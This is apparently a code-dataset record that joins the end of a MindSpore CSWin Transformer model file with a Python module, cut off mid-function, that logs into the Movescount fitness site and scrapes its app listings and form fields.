return x\n\n\nclass CSWinTransformer(nn.Cell):\n \"\"\"Vision Transformer with support for patch or hybrid CNN input stage\"\"\"\n\n def __init__(self, img_size=224, patch_size=16, in_chans=3, num_classes=1000, embed_dim=96,\n depth=[2,2,6,2], split_size=[3,5,7], num_heads=[2,4,8,16], mlp_ratio=4.,\n qkv_bias=True, qk_scale=None, drop_rate=0., attn_drop_rate=0.,\n drop_path_rate=0., hybrid_backbone=None, norm_layer=nn.LayerNorm, use_chk=False):\n super(CSWinTransformer, self).__init__()\n self.use_chk = use_chk\n self.num_classes = num_classes\n # num_features for consistency with other models\n self.num_features = self.embed_dim = embed_dim\n heads = num_heads\n\n self.stage1_conv_embed = nn.SequentialCell(\n nn.Conv2d(\n in_channels=in_chans, out_channels=embed_dim, kernel_size=7, stride=4,\n pad_mode=\"pad\", padding=2, has_bias=True),\n CustomRearrange(),\n norm_layer((embed_dim, ) if isinstance(embed_dim, int) else embed_dim, epsilon=1e-5)\n )\n\n dpr = np.linspace(0, drop_path_rate, sum(depth)).tolist()\n\n curr_dim = embed_dim\n self.stage1 = nn.CellList([\n CSWinBlock(\n dim=curr_dim, num_heads=heads[0], reso=img_size//4, mlp_ratio=mlp_ratio,\n qkv_bias=qkv_bias, qk_scale=qk_scale, split_size=split_size[0],\n drop=drop_rate, attn_drop=attn_drop_rate,\n drop_path=dpr[i], norm_layer=norm_layer)\n for i in range(depth[0])])\n self.merge1 = MergeBlock(curr_dim, curr_dim*2, resolution=img_size//4)\n\n curr_dim = curr_dim * 2\n self.stage2 = nn.CellList([\n CSWinBlock(\n dim=curr_dim, num_heads=heads[1], reso=img_size//8, mlp_ratio=mlp_ratio,\n qkv_bias=qkv_bias, qk_scale=qk_scale, split_size=split_size[1],\n drop=drop_rate, attn_drop=attn_drop_rate,\n drop_path=dpr[sum(depth[:1])+i], norm_layer=norm_layer)\n for i in range(depth[1])])\n self.merge2 = MergeBlock(curr_dim, curr_dim * 2, resolution=img_size//8)\n\n curr_dim = curr_dim*2\n temp_stage3 = []\n temp_stage3.extend([\n CSWinBlock(\n dim=curr_dim, num_heads=heads[2], reso=img_size//16, mlp_ratio=mlp_ratio,\n qkv_bias=qkv_bias, qk_scale=qk_scale, split_size=split_size[2],\n drop=drop_rate, attn_drop=attn_drop_rate,\n drop_path=dpr[sum(depth[:2])+i], norm_layer=norm_layer)\n for i in range(depth[2])])\n self.stage3 = nn.CellList(temp_stage3)\n self.merge3 = MergeBlock(curr_dim, curr_dim * 2, resolution=img_size//16)\n\n curr_dim = curr_dim * 2\n self.stage4 = nn.CellList(\n [CSWinBlock(\n dim=curr_dim, num_heads=heads[3], reso=img_size // 32, mlp_ratio=mlp_ratio,\n qkv_bias=qkv_bias, qk_scale=qk_scale, split_size=split_size[-1],\n drop=drop_rate, attn_drop=attn_drop_rate,\n drop_path=dpr[sum(depth[:-1]) + i], norm_layer=norm_layer, last_stage=True)\n for i in range(depth[-1])])\n\n self.norm = norm_layer((curr_dim,) if isinstance(curr_dim, int) else curr_dim, epsilon=1e-5)\n # Classifier head\n if num_classes > 0:\n self.head = nn.Dense(\n in_channels=curr_dim, out_channels=num_classes, has_bias=True, activation=None)\n else:\n self.head = Identity()\n\n # operations\n self.mean = ops.ReduceMean(keep_dims=False)\n\n self.init_weight()\n\n def init_weight(self):\n for _, cell in self.cells_and_names():\n if isinstance(cell, nn.Dense):\n cell.weight.set_data(\n weight_init.initializer(weight_init.TruncatedNormal(sigma=0.02), cell.weight.shape,\n cell.weight.dtype))\n if isinstance(cell, nn.Dense) and cell.bias is not None:\n cell.bias.set_data(\n weight_init.initializer(weight_init.Zero(), cell.bias.shape, cell.bias.dtype))\n elif isinstance(cell, nn.LayerNorm):\n cell.gamma.set_data(\n weight_init.initializer(weight_init.One(), cell.gamma.shape, cell.gamma.dtype))\n cell.beta.set_data(\n weight_init.initializer(weight_init.Zero(), cell.beta.shape, cell.beta.dtype))\n\n def no_weight_decay(self):\n return {'pos_embed', 'cls_token'}\n\n def get_classifier(self):\n return self.head\n\n def construct_features(self, x):\n B = x.shape[0]\n x = self.stage1_conv_embed(x)\n for blk in self.stage1:\n x = blk(x)\n\n x = self.merge1(x)\n for blk in self.stage2:\n x = blk(x)\n\n x = self.merge2(x)\n for blk in self.stage3:\n x = blk(x)\n\n x = self.merge3(x)\n for blk in self.stage4:\n x = blk(x)\n\n x = self.norm(x)\n\n return self.mean(x, 1)\n\n def construct(self, x):\n x = self.construct_features(x)\n x = self.head(x)\n return x\n\n\ndef CSWin_64_24322_small_224(pretrained=False, **kwargs):\n model = CSWinTransformer(\n patch_size=4, embed_dim=64, depth=[2,4,32,2],\n split_size=[1,2,7,7], num_heads=[2,4,8,16], mlp_ratio=4., **kwargs)\n\n return model\n\n\ndef CSWin_144_24322_large_224(pretrained=False, **kwargs):\n model = CSWinTransformer(\n patch_size=4, embed_dim=144, depth=[2,4,32,2],\n split_size=[1,2,7,7], num_heads=[6,12,24,24], mlp_ratio=4., **kwargs)\n\n return model\n\n\ndef CSWin_96_24322_base_384(pretrained=False, **kwargs):\n model = CSWinTransformer(patch_size=4, embed_dim=96, depth=[2,4,32,2],\n split_size=[1,2,12,12], num_heads=[4,8,16,32], mlp_ratio=4., **kwargs)\n return model\n\n\ndef main():\n from mindspore import context\n # context.set_context(mode=context.PYNATIVE_MODE)\n context.set_context(mode=context.GRAPH_MODE)\n\n x = Tensor(np.random.rand(2, 3, 224, 224), dtype=mstype.float32)\n model = CSWin_64_24322_small_224(drop_path_rate=0.4)\n # model = CSWin_144_24322_large_224(drop_path_rate=0.2)\n\n # x = Tensor(np.random.rand(2, 3, 384, 384), dtype=mstype.float32)\n # model = CSWin_96_24322_base_384(img_size=384, drop_path_rate=0.5)\n # print(\"====== model ======\\n{}\".format(model), flush=True)\n\n y = model(x)\n print(y.shape, flush=True)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"finder4alex/CSWin-Transformer-Ascend","sub_path":"src/models/cswin/cswin.py","file_name":"cswin.py","file_ext":"py","file_size_in_byte":16476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74096272785","text":"import navegador5 as nv \r\nimport navegador5.url_tool as nvurl\r\nimport navegador5.head as nvhead\r\nimport navegador5.body as nvbody\r\nimport navegador5.cookie \r\nimport navegador5.cookie.cookie as nvcookie\r\nimport navegador5.cookie.rfc6265 as nvrfc6265\r\nimport navegador5.jq as nvjq\r\nimport navegador5.js_random as nvjr\r\nimport navegador5.file_toolset as nvft\r\nimport navegador5.shell_cmd as nvsh\r\nimport navegador5.html_tool as nvhtml\r\nimport navegador5.solicitud as nvsoli\r\nimport navegador5.content_parser \r\nimport navegador5.content_parser.amf0_decode as nvamf0\r\nimport navegador5.content_parser.amf3_decode as nvamf3\r\n\r\nimport lxml.html\r\nfrom lxml import etree\r\nimport json\r\nimport re\r\nimport urllib.parse\r\nimport os\r\nfrom PIL import Image\r\n\r\n\r\ntry:\r\n from xdict.jprint import pobj\r\nexcept:\r\n print(\"you cant use some debug functions\")\r\nelse:\r\n pass\r\n\r\n\r\ndef movescount_get_real_base_url(base_url):\r\n # when you use different ip ,the real base_url is different\r\n ## for example, when you use in china, the real base_url is \"http://www.movescount.cn/zh/\" when you using 'http://www.movescount.com/'\r\n ## when you use in jp, the real base_url is \"http://www.movescount.com/\" when you using 'http://www.movescount.com/'\r\n ## or \r\n ## \"http://www.movescount.com/zh/\" when you using 'http://www.movescount.com/zh/'\r\n # when not use vpn: there will be many redirects:\r\n #1. base_url = \"http://www.movescount.com/\"\r\n ## ('Location', 'http://www.movescount.com/go?u=%2f&tld=cn&c=en')\r\n #2. base_url = \"https://www.movescount.com/\"\r\n ## ('Location', 'http://www.movescount.com/go?u=%2f&tld=cn&c=en')\r\n #3. base_url = \"http://www.movescount.com/zh\"\r\n ## ('Location', '/zh/')\r\n #4. base_url = \"http://www.movescount.com/zh/\"\r\n ## ('Location', 'http://www.movescount.com/go?u=%2fzh%2f&tld=cn&c=zh')\r\n #5. base_url = \"https://www.movescount.com/zh\"\r\n ## ('Location', '/zh/')\r\n #6. base_url = \"https://www.movescount.com/zh/\"\r\n ## ('Location', 'http://www.movescount.com/go?u=%2fzh%2f&tld=cn&c=zh')\r\n # info_container['url'] = 'http://www.movescount.com/go?u=%2fzh%2f&tld=cn&c=zh'\r\n ## ('Location', 'http://www.movescount.cn/go?u=%2fzh%2f&tld=cn&c=zh¬ldredir=true')\r\n # info_container['url'] = 'http://www.movescount.cn/go?u=%2fzh%2f&tld=cn&c=zh¬ldredir=true'\r\n ## ('Location', '/zh/')\r\n # info_container['url'] = 'http://www.movescount.cn/zh/'\r\n ## \r\n # when not use vpn(via jp): there will be many redirects:\r\n info_container = nvsoli.new_info_container()\r\n info_container['url'] = base_url\r\n info_container['method'] = 'GET'\r\n req_head_str = '''Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36\\r\\nAccept-Encoding: gzip,deflate,sdch\\r\\nAccept-Language: en;q=1.0, zh-CN;q=0.8'''\r\n info_container['req_head'] = nvhead.build_headers_dict_from_str(req_head_str,'\\r\\n')\r\n info_container['req_head']['Connection'] = 'close'\r\n #### init records_container\r\n records_container = nvsoli.new_records_container()\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n info_container = nvsoli.auto_redireced(info_container,records_container)\r\n return(info_container['url'])\r\n\r\ndef movescount_init_login(emailAddress,password):\r\n base_url = 'https://www.movescount.com/'\r\n base_url = movescount_get_real_base_url(base_url)\r\n info_container = nvsoli.new_info_container()\r\n info_container['base_url'] = base_url\r\n servicegate_url_dict = {\r\n 'scheme':\"https\",\r\n 'netloc':\"servicegate.suunto.com\",\r\n 'path':\"UserAuthorityService\",\r\n 'query_dict':{\r\n 'callback': nvjq.jQuery_get_random_jsonpCallback_name(),\r\n 'emailAddress':emailAddress,\r\n 'password':password,\r\n '_':nvjq.jQuery_unix_now(),\r\n 'service':\"Movescount\"\r\n }\r\n }\r\n info_container['url'] = nvurl.dict_to_url(servicegate_url_dict)\r\n info_container['method'] = 'GET'\r\n req_head_str = '''Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.94 Safari/537.36\\r\\nAccept-Encoding: gzip,deflate,sdch\\r\\nAccept-Language: en;q=1.0, zh-CN;q=0.8'''\r\n info_container['req_head'] = nvhead.build_headers_dict_from_str(req_head_str,'\\r\\n')\r\n netloc = urllib.parse.urlparse(base_url).netloc\r\n referer_url = ''.join((\"https://\",netloc,\"/auth?redirect_uri=%2foverview\"))\r\n info_container['req_head']['Referer'] = referer_url\r\n info_container['req_head']['Connection'] = 'close'\r\n #### init records_container\r\n records_container = nvsoli.new_records_container()\r\n return((info_container,records_container,servicegate_url_dict))\r\n\r\ndef movescount_login(info_container,records_container,servicegate_url_dict):\r\n #step0:获取 token\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n resp_body_bytes = info_container['resp_body_bytes']\r\n token = nvjq.jQuery_get_jsonp_reply_arguments(resp_body_bytes,servicegate_url_dict['query_dict']['callback'])\r\n #step1: 存储获得到的登陆cookie:\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"https://\",netloc,\"/services/UserAuthenticated\"))\r\n #info_container['url'] = \"https://www.movescount.com/services/UserAuthenticated\"\r\n info_container['req_head']['Content-Type'] = 'application/json; charset=utf-8'\r\n info_container['method'] = 'POST'\r\n ##-----json body\r\n utcOffset = nvjq.jQuery_get_utcOffset()\r\n redirectUri = \"/overview\"\r\n req_body_dict = {\r\n 'token':token,\r\n 'utcOffset':utcOffset,\r\n 'redirectUri':redirectUri\r\n }\r\n req_body = nvbody.handle_req_body_via_content_type(info_container['req_head']['Content-Type'],req_body_dict)\r\n info_container['req_body'] = req_body\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n return((info_container,records_container))\r\n\r\ndef movescount_get_windowSuuntoConfig(info_container,records_container):\r\n '''\r\n ####step 2 获取windowSuuntoConfig_dict\r\n info_container,records_container,windowSuuntoConfig_dict = movescount_get_windowSuuntoConfig(info_container,records_container)\r\n '''\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"https://\",netloc,\"/overview\"))\r\n info_container['method'] = 'GET'\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n # to solve a strange error that the GET request include a Content-Length, resend the request will solve this\r\n error = nvhead.select_headers_via_key_from_tuple_list(info_container['resp_head'],'X-Squid-Error')\r\n if(error == []):\r\n pass\r\n else:\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n resp_body_bytes = info_container['resp_body_bytes']\r\n #nvft.write_to_file(fn='overview.html',content=resp_body_bytes,op='wb+')\r\n html_text = resp_body_bytes.decode('utf-8')\r\n root = etree.HTML(html_text)\r\n selector = ''.join(('//script'))\r\n eles = root.xpath(selector)\r\n json_str = ''\r\n for i in range(0,eles.__len__()):\r\n if(eles[i].items().__len__() == 0):\r\n if(\"window.suunto.Config\" in eles[i].text):\r\n regex = re.compile(\"window.suunto.Config[ ]*=[ ]*(\\{.*\\})[ \\r\\n]*;\")\r\n m = regex.search(eles[i].text)\r\n json_str = m.group(1)\r\n else:\r\n pass\r\n else:\r\n pass\r\n windowSuuntoConfig_dict = json.loads(json_str)\r\n return((info_container,records_container,windowSuuntoConfig_dict))\r\n\r\ndef movescount_creat_app_search_params(selector,root):\r\n eles = root.xpath(selector)\r\n if(eles.__len__()>0):\r\n options = eles[0].getchildren()\r\n else:\r\n return({})\r\n rslt = {}\r\n for i in range(0,options.__len__()):\r\n rslt[options[i].get('value')]=options[i].text\r\n rslt[options[i].text]=options[i].get('value')\r\n return(rslt)\r\n\r\ndef movescount_format_loadcomponent_query_dict(loadcomponent_query_dict,options_ref_dict):\r\n for key in loadcomponent_query_dict:\r\n old_index = loadcomponent_query_dict[key]\r\n loadcomponent_query_dict[key] = str(old_index)\r\n if(key == 'sorting'):\r\n try:\r\n int(old_index)\r\n except:\r\n regex = re.compile('t([0-9]+)')\r\n m = regex.search(old_index)\r\n if(m):\r\n t = m.group(1)\r\n loadcomponent_query_dict['type'] = int(t)\r\n loadcomponent_query_dict['sorting'] = 5\r\n else:\r\n if(old_index in options_ref_dict['sorting']): \r\n loadcomponent_query_dict[key] = options_ref_dict['sorting'][loadcomponent_query_dict[key]]\r\n else:\r\n loadcomponent_query_dict[key] = 10\r\n else:\r\n if(old_index in options_ref_dict['sorting']):\r\n pass\r\n else:\r\n loadcomponent_query_dict[key] = 10\r\n if(key == 'activity'):\r\n if(old_index == \"\"):\r\n pass\r\n else:\r\n try:\r\n int(old_index)\r\n except:\r\n if(old_index in options_ref_dict['activity']): \r\n if(old_index ==\"Select\"):\r\n loadcomponent_query_dict[key] = \"\"\r\n else:\r\n loadcomponent_query_dict[key] = options_ref_dict['sorting'][loadcomponent_query_dict[key]]\r\n else:\r\n loadcomponent_query_dict[key] = \"\"\r\n else:\r\n if(old_index in options_ref_dict['activity']):\r\n if(old_index ==\"1\"):\r\n loadcomponent_query_dict[key] = \"\"\r\n else:\r\n pass\r\n else:\r\n loadcomponent_query_dict[key] = \"\"\r\n if(key == 'ruleCategory'):\r\n try:\r\n int(old_index)\r\n except:\r\n if(old_index in options_ref_dict['sorting']):\r\n loadcomponent_query_dict[key] = options_ref_dict['ruleCategory'][loadcomponent_query_dict[key]]\r\n else:\r\n loadcomponent_query_dict[key] = \"\"\r\n else:\r\n if(old_index in options_ref_dict['ruleCategory']):\r\n pass\r\n else:\r\n loadcomponent_query_dict[key] = \"\"\r\n return(loadcomponent_query_dict)\r\n\r\ndef movescount_get_loadcomponet_query_url(info_container,records_container,loadcomponent_query_params={},query_params={}):\r\n '''\r\n ####step 3 访问\"http://www.movescount.com/apps\" 获取loadcomponet_query_url\r\n #info_container,records_container,loadcomponet_query_url,root= mc.movescount_get_loadcomponet_query_url(info_container,records_container,loadcomponent_query_params={'sorting':5},query_params={})\r\n '''\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['method'] = 'GET'\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/apps\"))\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n if(html_text == ''):\r\n html_text=''\r\n else:\r\n pass\r\n root = etree.HTML(html_text)\r\n if(loadcomponent_query_params=={}):\r\n loadcomponent_query_dict = {\r\n 'page':1,\r\n 'sorting':10,\r\n 'activity':\"\",\r\n 'type':0,\r\n 'term':\"\",\r\n 'ruleCategory':\"\"\r\n }\r\n else:\r\n loadcomponent_query_dict = {\r\n 'page':1,\r\n 'sorting':10,\r\n 'activity':\"\",\r\n 'type':0,\r\n 'term':\"\",\r\n 'ruleCategory':\"\"\r\n }\r\n for key in loadcomponent_query_params:\r\n if(key in loadcomponent_query_dict):\r\n loadcomponent_query_dict[key] = loadcomponent_query_params[key]\r\n options_ref_dict = {}\r\n selector_ruleCategory = ''.join(('//select[@id=','\"','ctl00_topArea_ListCategoryDdl','\"]'))\r\n options_ref_dict['ruleCategory'] = movescount_creat_app_search_params(selector_ruleCategory,root)\r\n selector_sorting = ''.join(('//select[@id=','\"','ListOrderDdl','\"]'))\r\n options_ref_dict['sorting'] = movescount_creat_app_search_params(selector_sorting,root)\r\n selector_activity = ''.join(('//select[@id=','\"','ctl00_topArea_ListActivityDdl','\"]'))\r\n options_ref_dict['activity'] = movescount_creat_app_search_params(selector_activity,root)\r\n pobj(options_ref_dict)\r\n #http://www.movescount.com/loadcomponent?clientID=items&componentID=RuleItems&page=1&sorting=10&type=0&ruleCategory=2&_=1486223869668\r\n loadcomponent_query_dict = movescount_format_loadcomponent_query_dict(loadcomponent_query_dict,options_ref_dict)\r\n # for type =\"t1\" \"t2\" ......\r\n loadcomponent_query_dict = movescount_format_loadcomponent_query_dict(loadcomponent_query_dict,options_ref_dict)\r\n if(query_params=={}):\r\n query_template = {\r\n 'clientID':\"items\",\r\n 'componentID':\"RuleItems\",\r\n 'page':\"1\",\r\n 'sorting':\"10\",\r\n 'activity':\"\",\r\n 'type':\"0\",\r\n 'term':\"\",\r\n 'ruleCategory':\"\",\r\n '_':nvjq.jQuery_unix_now()\r\n }\r\n else:\r\n query_template = {\r\n 'clientID':\"items\",\r\n 'componentID':\"RuleItems\",\r\n 'page':\"1\",\r\n 'sorting':\"10\",\r\n 'activity':\"\",\r\n 'type':\"0\",\r\n 'term':\"\",\r\n 'ruleCategory':\"\",\r\n '_':nvjq.jQuery_unix_now()\r\n }\r\n for key in query_params:\r\n if(key in query_template):\r\n query_template[key] = query_params[key]\r\n for key in query_template:\r\n if(key in loadcomponent_query_dict):\r\n query_template[key] = loadcomponent_query_dict[key]\r\n query_dict = {}\r\n for key in query_template:\r\n if(query_template[key] == \"\"):\r\n pass\r\n else:\r\n query_dict[key] = query_template[key]\r\n query_url = nvurl.urlencode(query_dict)\r\n query_url = ''.join((\"http://\",netloc,\"/loadcomponent?\",query_url))\r\n #query_url = ''.join((\"http://www.movescount.com/zh/loadcomponent?\",query_url))\r\n #--------\r\n #--------\r\n return((info_container,records_container,query_url,root))\r\n\r\ndef movescount_get_my_apps_info(info_container,records_container):\r\n info_container,records_container,loadcomponet_query_url,root = movescount_get_loadcomponet_query_url(info_container,records_container,loadcomponent_query_params={'sorting':'My Apps'},query_params={})\r\n info_container['method'] = 'GET'\r\n info_container['url'] = loadcomponet_query_url\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset'] \r\n html_text = info_container['resp_body_bytes'].decode(charset) \r\n if(html_text == ''): \r\n html_text='' \r\n else: \r\n pass\r\n root = etree.HTML(html_text)\r\n selector = ''.join(('//html/body/ul/li/div/div/a[@href and @class]'))\r\n eles = root.xpath(selector)\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['method'] = 'GET'\r\n my_apps_info = []\r\n for i in range(0,eles.__len__()):\r\n href = eles[i].get('href')\r\n regex = re.compile('app([0-9]+)-(.*)')\r\n m = regex.search(eles[i].get('href'))\r\n RuleID = m.group(1)\r\n app_name = m.group(2)\r\n my_app_url = ''.join((\"http://\",netloc,href))\r\n info = {}\r\n info['url'] = my_app_url\r\n info['name'] = app_name\r\n info['RuleID'] = RuleID\r\n my_apps_info.append(info)\r\n pobj(my_apps_info)\r\n return((info_container,records_container,my_apps_info))\r\n\r\n\r\ndef movescount_get_loadcomponet_pages_num(info_container,records_container):\r\n info_container,records_container,loadcomponet_query_url,apps_root= movescount_get_loadcomponet_query_url(info_container,records_container)\r\n info_container['req_head']['Referer'] = info_container['url']\r\n info_container['method'] = 'GET'\r\n info_container['url'] = loadcomponet_query_url\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n root = etree.HTML(html_text)\r\n selector = ''.join(('//input[','@id=\"items_paging\"',' and ','@type=\"hidden\"',']'))\r\n eles = root.xpath(selector)\r\n pages = eles[0].get('value').split('/')\r\n curr_page = pages[0]\r\n total_page = pages[1]\r\n return({'total':total_page,'current':curr_page,'apps_root':apps_root})\r\n\r\ndef movescount_get_all_loadcomponet_pages(info_container,records_container,start=1,end=-1,save=1):\r\n #pages_root_dict = movescount_get_all_loadcomponet_pages(info_container,records_container)\r\n apps_pages_info = movescount_get_loadcomponet_pages_num(info_container,records_container)\r\n total_page = apps_pages_info['total']\r\n relative_dir_path = 'loadcomponet'\r\n apps_root = apps_pages_info['apps_root']\r\n loadcomponent_query_dict = {\r\n 'page':1,\r\n 'sorting':10,\r\n 'activity':\"\",\r\n 'type':0,\r\n 'term':\"\",\r\n 'ruleCategory':\"\"\r\n }\r\n if(save):\r\n if(os.path.exists(relative_dir_path)):\r\n pass\r\n else:\r\n os.mkdir(relative_dir_path)\r\n else:\r\n pass\r\n page_roots_dict = {}\r\n if(end>int(total_page)):\r\n end = int(total_page)\r\n elif(end<0):\r\n end = int(total_page)\r\n else:\r\n pass\r\n for i in range(start,int(end)+1):\r\n loadcomponent_query_dict['page'] = i\r\n info_container,records_container,url,root = movescount_get_loadcomponet_query_url(info_container,records_container,loadcomponent_query_params=loadcomponent_query_dict)\r\n print(\"---------------------------------------------------\")\r\n print(url)\r\n print(info_container['resp_head'])\r\n print(\"---------------------------------------------------\")\r\n info_container['url'] = url\r\n info_container['method'] = 'GET'\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset)\r\n if(html_text == ''):\r\n html_text=''\r\n else:\r\n pass\r\n try:\r\n page_roots_dict[i] = etree.HTML(html_text)\r\n except:\r\n print(\"---Exception etree.HTML(html_text)---------\")\r\n print(info_container['resp_body_bytes'])\r\n print(\"---Exception etree.HTML(html_text)---------\")\r\n print(html_text)\r\n page_roots_dict[i] = None\r\n else:\r\n pass\r\n if(save):\r\n regex = re.compile(\"/loadcomponent\\?(.*)\")\r\n fn_part = regex.search(url).groups(1)[0]\r\n nvft.write_to_file(fn=''.join(('./loadcomponet/','p',str(i),'.','html')),content=info_container['resp_body_bytes'],op='wb+')\r\n nvft.write_to_file(fn=''.join(('./loadcomponet/','p',str(i),'.','desc.txt')),content=''.join(('')),op='w+')\r\n else:\r\n pass\r\n return(page_roots_dict)\r\n\r\ndef movescount_get_all_apps_description(base_url,page_roots_dict):\r\n #\r\n #apps_desc_dict = movescount_get_all_apps_description(info_container['base_url'],page_roots_dict)\r\n apps_desc_dict = {}\r\n seq = 1\r\n for i in range(1,page_roots_dict.__len__()+1):\r\n selector_each_app = ''.join(('//html/body/ul/li/div'))\r\n root_each_app = page_roots_dict[i]\r\n eles_each_app = root_each_app.xpath(selector_each_app)\r\n for j in range(0,eles_each_app.__len__()):\r\n app = {}\r\n ele = eles_each_app[j]\r\n app['data-id'] = ele.get('data-id')\r\n selector = ''.join(('./div/a'))\r\n app['app-url'] = ''.join((base_url,ele.xpath(selector)[0].get('href')))\r\n selector = ''.join(('./div/div/img'))\r\n app['icon-url'] = ''.join(('http',ele.xpath(selector)[0].get('src')))\r\n selector = ''.join(('./div/div/ul/li/div'))\r\n app['class-text'] = ele.xpath(selector)[0].text\r\n selector = ''.join(('./div/div/ul/li/div/div/h5/a'))\r\n app['app-title'] = ele.xpath(selector)[0].get('title')\r\n app['app-text'] = ele.xpath(selector)[0].text\r\n selector = ''.join(('./div/div/ul/li/div/a'))\r\n app['member-url'] = ''.join((base_url,ele.xpath(selector)[0].get('href')))\r\n app['member-title'] = ele.xpath(selector)[0].get('title')\r\n app['member-text'] = ele.xpath(selector)[0].text\r\n selector = ''.join(('./div/div/ul/li/div/a/following-sibling::*'))\r\n approvals_number = ele.xpath(selector)[0].text\r\n regex = re.compile('[0-9]+')\r\n m = regex.search(approvals_number)\r\n if(m):\r\n app['approvals-number'] = int(m.group(0))\r\n else:\r\n app['approvals-number'] = 0\r\n selector = ''.join(('./div/div/ul/li/div/div/div/p'))\r\n if(ele.xpath(selector).__len__()==0):\r\n app['description'] = \"\"\r\n else:\r\n app['description'] = ele.xpath(selector)[0].text\r\n apps_desc_dict[seq] = app\r\n seq = seq + 1\r\n return(apps_desc_dict)\r\n\r\n\r\ndef get_app_creat_root(info_container,records_container):\r\n #info_container,records_container,app_creat_root = get_app_creat_root(info_container,records_container)\r\n info_container['method'] = 'GET'\r\n netloc = urllib.parse.urlparse(info_container['base_url']).netloc\r\n info_container['url'] = ''.join((\"http://\",netloc,\"/apps/app\"))\r\n info_container['req_head']['Upgrade-Insecure-Requests'] = 1\r\n info_container = nvsoli.walkon(info_container,records_container=records_container)\r\n charset = nvhead.get_content_type_from_resp(info_container['resp'])['charset']\r\n html_text = info_container['resp_body_bytes'].decode(charset) \r\n if(html_text == ''):\r\n html_text=''\r\n else:\r\n pass\r\n app_creat_root = etree.HTML(html_text)\r\n info_container['Referer'] = info_container['url']\r\n info_container['Cache-Control'] = 'no-cache'\r\n return((info_container,records_container,app_creat_root))\r\n\r\n\r\ndef movescount_get_aspnetForm_input_dict(root):\r\n #aspnetForm_input_dict = movescount_get_aspnetForm_input_dict(app_creat_root)\r\n eles = root.xpath('//input[@type!=\"text\"]')\r\n aspnetForm_input_dict = {}\r\n for i in range(0,eles.__len__()):\r\n if(eles[i].get('value') == None):\r\n value = ''\r\n else:\r\n value = eles[i].get('value')\r\n aspnetForm_input_dict[eles[i].get('name')] = value\r\n return(aspnetForm_input_dict)\r\n\r\ndef movescount_get_aspnetForm_text_dict(root):\r\n #aspnetForm_text_dict = movescount_get_aspnetForm_text_dict(app_creat_root)\r\n aspnetForm_text_dict = {}\r\n eles = root.xpath('//input[@type=\"text\"]')\r\n for i in range(0,eles.__len__()):\r\n if(eles[i].get('value') == None):\r\n value = ''\r\n else:\r\n value = eles[i].get('value')\r\n aspnetForm_text_dict[eles[i].get('name')] = value\r\n eles = root.xpath('//textarea')\r\n for i in range(0,eles.__len__()):\r\n if(eles[i].get('value') == None):\r\n value = ''\r\n else:\r\n value = eles[i].get('value')\r\n aspnetForm_text_dict[eles[i].get('name')] = value\r\n return(aspnetForm_text_dict)\r\n\r\ndef movescount_get_aspnetForm_selects(root):\r\n #aspnetForm_selects = movescount_get_aspnetForm_selects(app_creat_root)\r\n aspnetForm_select_dict = {}\r\n eles = root.xpath('//select')\r\n aspnetForm_PublicityDropDownList = {}\r\n aspnetForm_ActivityDropDownList = {}\r\n aspnetForm_CategoryDropDownList = {} \r\n aspnetForm_language_select_dict = {}\r\n for i in range(0,eles.__len__()):\r\n if(eles[i].get('value') == None):\r\n value = ''\r\n else:\r\n value = eles[i].get('value')\r\n name = eles[i].get('name')\r\n if(name):\r\n aspnetForm_select_dict[name] = value\r\n regex = re.compile(\"(.*)\\$(.*)\")\r\n m = regex.search(name)\r\n if(m):\r\n name = m.group(2)\r\n else:\r\n pass\r\n if(name == \"PublicityDropDownList\"):\r\n aspnetForm_PublicityDropDownList = movescount_creat_app_search_params('.',eles[i])\r\n if(name == \"ActivityDropDownList\"):\r\n aspnetForm_ActivityDropDownList = movescount_creat_app_search_params('.',eles[i])\r\n if(name == \"CategoryDropDownList\"):\r\n aspnetForm_CategoryDropDownList = movescount_creat_app_search_params('.',eles[i])\r\n else:\r\n aspnetForm_language_select_dict = movescount_creat_app_search_params('.',eles[i])\r\n return({'select':aspnetForm_select_dict,\r\n 'options':{'publicity':aspnetForm_PublicityDropDownList,\r\n 'activity':aspnetForm_ActivityDropDownList,\r\n 'category':aspnetForm_CategoryDropDownList}})\r\n\r\ndef movescount_creat_ct100_query_dict_template(aspnetForm_input_dict,aspnetForm_selects,Activity='',Category = ''):\r\n #ct100_query_dict = movescount_creat_ct100_query_dict_template(aspnetForm_input_dict,aspnetForm_selects)\r\n ct100_query_dict = {}\r\n DescriptionText = ''\r\n RuleNameText = ''\r\n TagsText = ''\r\n WebsiteText = ''\r\n masterPageUniqueID = 'ctl00'\r\n scriptManagerID = 'ctl00$MainScriptManager'\r\n panelsToUpdate = 